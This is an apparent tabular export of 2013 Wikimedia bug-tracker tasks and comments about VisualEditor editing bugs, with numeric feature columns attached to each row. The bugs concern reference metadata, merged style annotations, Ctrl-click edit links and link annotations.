Change I04f71fe8e00c6257fbc953cc9de3323e24709b0f)
52059,VisualEditor: Metadata not preserved in references,"They get stripped out when rendered back to HTML.

e.g.

<ref>Foo<!--bar--></ref>

->

<ref>Foo</ref>

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1372007340,1372039639.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-ibds6gk456ofg6szjteu,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,3.6666666666666665,0.5777777777777777,"They get stripped out when rendered back to HTML.

e.g.

<ref>Foo<!--bar--></ref>

->

<ref>Foo</ref>

--------------------------
**Version**: unspecified
**Severity**: normal"
242101,VisualEditor: Metadata not preserved in references,Related URL: https://gerrit.wikimedia.org/r/70060 (Gerrit Change I3bbea49132ef4a720a147ba9b170c39a0c00f711),,,1372008261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibds6gk456ofg6szjteu,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I3bbea49132ef4a720a147ba9b170c39a0c00f711)
52050,VisualEditor: Inline text style annotations with different attributes should not be merged,"Moved from #48830.

Merlijn van Deen 2013-06-23 11:20:36 UTC
----------------------------------------
https://www.mediawiki.org/w/index.php?title=Git%2FConversion%2Fpywikipedia&diff=714194&oldid=713893
The only real edit is at the bottom.

Krinkle 2013-06-23 11:25:31 UTC
-------------------------------
This is due to the merging of the 2 <b> tags. Currently it fails compare custom
attributes like ""style"" when attempting to merge equal annotation sequences.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=48830",Unbreak Now!,100.0,1371986880,1372001636.0,PHID-USER-muirnivxp5hzppn2a3z7,False,,False,PHID-TASK-yc4hfzr5ombibggchvok,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,3.0,4.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,11.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,10.5,1.0,0.0,2.5,0.0,0.0,0.0,0.5,2.0,0.0,5.0,0.0,1.0,4.5,3.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.5,3.997926093514329,0.6598793363499246,"Moved from #48830.

Merlijn van Deen 2013-06-23 11:20:36 UTC
----------------------------------------
URL
The only real edit is at the bottom.

Krinkle 2013-06-23 11:25:31 UTC
-------------------------------
This is due to the merging of the 2 <b> tags. Currently it fails compare custom
attributes like ""style"" when attempting to merge equal annotation sequences.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
241658,VisualEditor: Inline text style annotations with different attributes should not be merged,"We have a work around for this - gerrit 69852 - now in production in VisualEditor, but the underlying cause is bug 48194. I've manually fixed the changes VE made - sorry about that: https://www.mediawiki.org/w/index.php?title=Git/Conversion/pywikipedia&diff=715751&oldid=715067",,,1372001636,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yc4hfzr5ombibggchvok,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,0.0,0.0,5.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,13.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.871794871794872,0.8974358974358975,"We have a work around for this - gerrit 69852 - now in production in VisualEditor, but the underlying cause is bug 48194. I've manually fixed the changes VE made - sorry about that: URL"
51993,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","This doesn't work; not quite sure why/how. Should be fixed.

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1371859260,1373053912.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-7sjurdxqyilrckxefznc,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,3.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5588235294117645,0.7058823529411765,"This doesn't work; not quite sure why/how. Should be fixed.

--------------------------
**Version**: unspecified
**Severity**: major"
238346,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow",Fix merged and will hopefully go out soon.,,,1373053912,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,1.0,Fix merged and will hopefully go out soon.
238340,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","Change 72069 merged by jenkins-bot:
mw.ViewPageTarget.init: Move edit section to top init

https://gerrit.wikimedia.org/r/72069",,,1373049614,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7894736842105265,0.9473684210526315,"Change 72069 merged by jenkins-bot:
mw.ViewPageTarget.init: Move edit section to top init

GERRIT_URL"
238334,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","Change 72069 had a related patch set uploaded by Jforrester:
mw.ViewPageTarget.init: Move edit section to top init.

https://gerrit.wikimedia.org/r/72069",,,1373039964,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.869565217391305,0.9565217391304348,"Change 72069 had a related patch set uploaded by Jforrester:
mw.ViewPageTarget.init: Move edit section to top init.

GERRIT_URL"
238328,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","Gah, bad breakage related to making VE more lightweight - sorry about that. Gerrit 72069 fixes this, according to my local testing - we'll try to get this out today.",,,1373039949,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,14.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.8857142857142857,0.8285714285714286,"Gah, bad breakage related to making VE more lightweight - sorry about that. Gerrit 72069 fixes this, according to my local testing - we'll try to get this out today."
238322,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","My testing shows that ctrl+click works only in VE-enabled namespaces but middle click works everywhere in Firefox 22. 

In Konqueror 4.8.5 (which is apparently not enabled for VE) both ctrl+click and middle click both work only in VE-enabled namespaces.",,,1373035918,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,2.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,12.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.479166666666667,0.6875,"My testing shows that ctrl+click works only in VE-enabled namespaces but middle click works everywhere in Firefox 22. 

In Konqueror 4.8.5 (which is apparently not enabled for VE) both ctrl+click and middle click both work only in VE-enabled namespaces."
238317,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","I'm not sure how the fix was implemented, but it seems to have started occurring again - this time only in namespaces in which the VE isn't active.",,,1373033397,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,3.0,6.0,6.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,3.0,0.0,16.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.75,0.9375,"I'm not sure how the fix was implemented, but it seems to have started occurring again - this time only in namespaces in which the VE isn't active."
238312,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow",Related URL: https://gerrit.wikimedia.org/r/70773 (Gerrit Change I5245ab19ae16b79d2c562c05b94649a58e04a4fd),,,1372289786,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I5245ab19ae16b79d2c562c05b94649a58e04a4fd)
238307,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow",Fixed in gerrit 70735 which is now merged and will get pushed later today.,,,1372280988,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.066666666666666,1.0,Fixed in gerrit 70735 which is now merged and will get pushed later today.
238303,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","Raising importance, this is quite annoying. It's just been reported on [[WP:VPT]] for the second time today.",,,1372264953,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,3.4074074074074074,0.8888888888888888,"Raising importance, this is quite annoying. It's just been reported on [[WP:VPT]] for the second time today."
238298,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow",*** Bug 50221 has been marked as a duplicate of this bug. ***,,,1372264868,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50221 has been marked as a duplicate of this bug. ***
238291,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow","**pinkampersand.wikimedia** wrote:

I should note that I've been having this bug (well, with ctrl-click on my laptop, but think that's the same thing), and I don't have VE enabled. However, this bug's several days old, and I'm pretty sure this has only been happening to me within the past hour. Chrome on a ChromeOS netbook.",,,1372252282,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,2,False,,,-1,,1.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,8.0,0.0,5.0,8.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,18.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,10.0,1.0,4.0,9.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,8.0,8.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,3.4871794871794872,0.7307692307692307,"**pinkampersand.wikimedia** wrote:

I should note that I've been having this bug (well, with ctrl-click on my laptop, but think that's the same thing), and I don't have VE enabled. However, this bug's several days old, and I'm pretty sure this has only been happening to me within the past hour. Chrome on a ChromeOS netbook."
238287,"VisualEditor: Opening ""Edit"" tab (and section edit links) with a middle-click / Ctrl-click / Shift-click (new tab/window) disabled somehow",Some back-of-the-envelope work by users indicates that firefox (logged in) and chromium (logged out) on linux have this problem; firefox and IE on Windows (not logged in) do not.,,,1372173256,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-7sjurdxqyilrckxefznc,task_subcomment,,True,c1,2,False,,,-1,,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.488372093023256,0.6976744186046512,Some back-of-the-envelope work by users indicates that firefox (logged in) and chromium (logged out) on linux have this problem; firefox and IE on Windows (not logged in) do not.
51985,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin","Steps to reproduce:
1. Insert the cursor immediately after the first letter of a link
2. Hit delete/backspace
3. Type a new character
4. The new character isn't part of the link, so select the entire word and click the link button
5. Re-enter the link article
6. Save your changes

Expected result:
If you started with ""[[Porcupine]]"", you should end up with ""[[porcupine]]"".

Actual result:
If you started with ""[[Porcupine]]"", you end up with ""[[porcupine|p]][[Porcupine|orcupine]]"".

This is just a common use case demonstrating a more general bug. Namely, if you create a new link that subsumes an existing link, the existing link is preserved within the new link instead of being replaced.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50098",Unbreak Now!,100.0,1371855300,1372355114.0,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,False,PHID-TASK-uuaax5ooenq6lyv32r7j,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,1.0,0.5,6.0,0.5,0.0,0.0,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.5,4.0,8.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,3.0,1.5,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,14.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,2.0,10.0,1.5,0.5,8.0,0.0,0.0,0.0,0.0,5.5,0.0,2.0,0.0,3.0,8.0,0.5,0.0,4.0,0.0,3.0,0.0,0.5,3.0,0.0,1.5,0.5,0.0,7.0,3.4282828282828284,0.5877272727272727,"Steps to reproduce:
1. Insert the cursor immediately after the first letter of a link
2. Hit delete/backspace
3. Type a new character
4. The new character isn't part of the link, so select the entire word and click the link button
5. Re-enter the link article
6. Save your changes

Expected result:
If you started with ""[[Porcupine]]"", you should end up with ""[[porcupine]]"".

Actual result:
If you started with ""[[Porcupine]]"", you end up with ""[[porcupine|p]][[Porcupine|orcupine]]"".

This is just a common use case demonstrating a more general bug. Namely, if you create a new link that subsumes an existing link, the existing link is preserved within the new link instead of being replaced.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
237949,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin","(In reply to comment #5)
> Change 70633 merged by jenkins-bot:
> Fix comparison of MW internal links
> 
> https://gerrit.wikimedia.org/r/70633

And with that change, this bug is fixed; closing. It will be deployed this afternoon.",,,1372355114,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uuaax5ooenq6lyv32r7j,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,3.0,8.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,8.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.25,0.7777777777777778,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

And with that change, this bug is fixed; closing. It will be deployed this afternoon."
237941,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin","Change 70633 merged by jenkins-bot:
Fix comparison of MW internal links

https://gerrit.wikimedia.org/r/70633",,,1372354202,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uuaax5ooenq6lyv32r7j,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.352941176470588,1.0,"Change 70633 merged by jenkins-bot:
Fix comparison of MW internal links

GERRIT_URL"
237935,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin",Related URL: https://gerrit.wikimedia.org/r/70633 (Gerrit Change I5fb5bfc69c344ca4ce4803d7b6116074648a8d7e),,,1372255145,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uuaax5ooenq6lyv32r7j,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I5fb5bfc69c344ca4ce4803d7b6116074648a8d7e)
237929,"VisualEditor: Adjacent link annotations (one of which is from Parsoid, one from VisualEditor) should conjoin","There are two issues here.

First off, we should change getComparableObject() for MWInternalLinkAnnotation to normalize the title and possibly tweak other things to the point where links to the same title are comparable, even if they have different capitalizations or space-vs-underscore variants of that title. That will be both more semantically correct and serve as a workaround for this bug.

